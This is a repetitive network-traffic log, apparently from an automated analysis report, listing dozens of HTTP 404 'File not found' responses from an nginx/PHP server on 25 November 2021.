Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:44 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:45 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:45 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:46 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:46 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:47 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:47 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:48 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:48 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:49 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:49 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:50 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:50 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:51 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:51 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:52 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:52 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:53 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:53 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:54 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:54 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:55 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:55 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:56 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:56 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:57 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:57 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:58 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:58 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:59 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:59 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:00 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:00 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:01 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:01 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:02 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:02 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:03 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:03 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:04 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:04 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:05 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:05 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:06 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:06 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:07 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:07 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:08 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:08 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:09 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:09 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:10 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:10 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:11 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:11 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:12 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:12 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:13 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:13 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:14 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:14 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:15 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:15 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:16 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:16 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:17 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:17 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:18 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
